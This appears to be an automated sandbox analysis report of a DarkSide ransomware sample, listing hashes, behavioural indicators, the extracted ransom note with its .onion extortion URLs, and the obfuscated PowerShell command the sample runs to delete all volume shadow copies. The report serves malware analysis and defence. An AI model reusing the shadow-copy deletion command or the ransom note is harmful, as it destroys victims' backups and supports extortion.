Analysis
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max time kernel
12s -
max time network
8s -
platform
windows7_x64 -
resource
win7 -
submitted
28-08-2020 18:32
Static task
static1
Behavioral task
behavioral1
Sample
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Resource
win7
Behavioral task
behavioral2
Sample
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Resource
win10v200722
General
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Target
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
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Size
17KB
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MD5
f87a2e1c3d148a67eaeb696b1ab69133
-
SHA1
d1dfe82775c1d698dd7861d6dfa1352a74551d35
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SHA256
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
-
SHA512
e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3
Score
10/10
Malware Config
Extracted
Path
C:\\README.c3f722bf.TXT
Family
darkside
Ransom Note
----------- [ Welcome to Dark ] ------------->
What happend?
----------------------------------------------
Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.
But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.
Follow our instructions below and you will recover all your data.
Data leak
----------------------------------------------
First of all we have uploaded more then 100 GB data.
Example of data:
- Accounting data
- Executive data
- Sales data
- Customer Support data
- Marketing data
- Quality data
- And more other...
Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC
The data is preloaded and will be automatically published if you do not pay.
After publication, your data will be available for at least 6 months on our tor cdn servers.
We are ready:
- To provide you the evidence of stolen data
- To give you universal decrypting tool for all encrypted files.
- To delete all the stolen data.
What guarantees?
----------------------------------------------
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
We guarantee to decrypt one file for free. Go to the site and contact us.
How to get access on website?
----------------------------------------------
Using a TOR browser:
1) Download and install TOR browser from this site: https://torproject.org/
2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68
When you open our website, put the following data in the input form:
Key:
pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR
HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY
gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1
xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn
daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP
!!! DANGER !!!
DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them.
!!! DANGER !!!
URLs
http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC
http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 4 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\RegisterMerge.png.c3f722bf 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File renamed C:\Users\Admin\Pictures\SplitInstall.tif => C:\Users\Admin\Pictures\SplitInstall.tif.c3f722bf 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File opened for modification C:\Users\Admin\Pictures\SplitInstall.tif.c3f722bf 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe File renamed C:\Users\Admin\Pictures\RegisterMerge.png => C:\Users\Admin\Pictures\RegisterMerge.png.c3f722bf 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Modifies service 2 TTPs 5 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exepowershell.exepid process 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe 1920 powershell.exe 1920 powershell.exe 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeSecurityPrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeTakeOwnershipPrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeLoadDriverPrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeSystemProfilePrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeSystemtimePrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeProfSingleProcessPrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeIncBasePriorityPrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeCreatePagefilePrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeBackupPrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeRestorePrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeShutdownPrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeDebugPrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeSystemEnvironmentPrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeRemoteShutdownPrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeUndockPrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeManageVolumePrivilege 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: 33 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: 34 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: 35 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe Token: SeDebugPrivilege 1920 powershell.exe Token: SeBackupPrivilege 944 vssvc.exe Token: SeRestorePrivilege 944 vssvc.exe Token: SeAuditPrivilege 944 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exedescription pid process target process PID 1496 wrote to memory of 1920 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe powershell.exe PID 1496 wrote to memory of 1920 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe powershell.exe PID 1496 wrote to memory of 1920 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe powershell.exe PID 1496 wrote to memory of 1920 1496 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"
- Modifies extensions of user files
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe
- Modifies service
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
00:00
00:00
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
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memory/1920-0-0x0000000000000000-mapping.dmp
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memory/1920-1-0x000007FEF6120000-0x000007FEF6B0C000-memory.dmpFilesize
9MB
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memory/1920-2-0x0000000002450000-0x0000000002451000-memory.dmpFilesize
4KB
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memory/1920-3-0x000000001AD40000-0x000000001AD41000-memory.dmpFilesize
4KB
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memory/1920-4-0x0000000001F30000-0x0000000001F31000-memory.dmpFilesize
4KB
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memory/1920-5-0x00000000023A0000-0x00000000023A1000-memory.dmpFilesize
4KB
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memory/1920-6-0x000000001C680000-0x000000001C681000-memory.dmpFilesize
4KB
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memory/1920-7-0x000000001B930000-0x000000001B931000-memory.dmpFilesize
4KB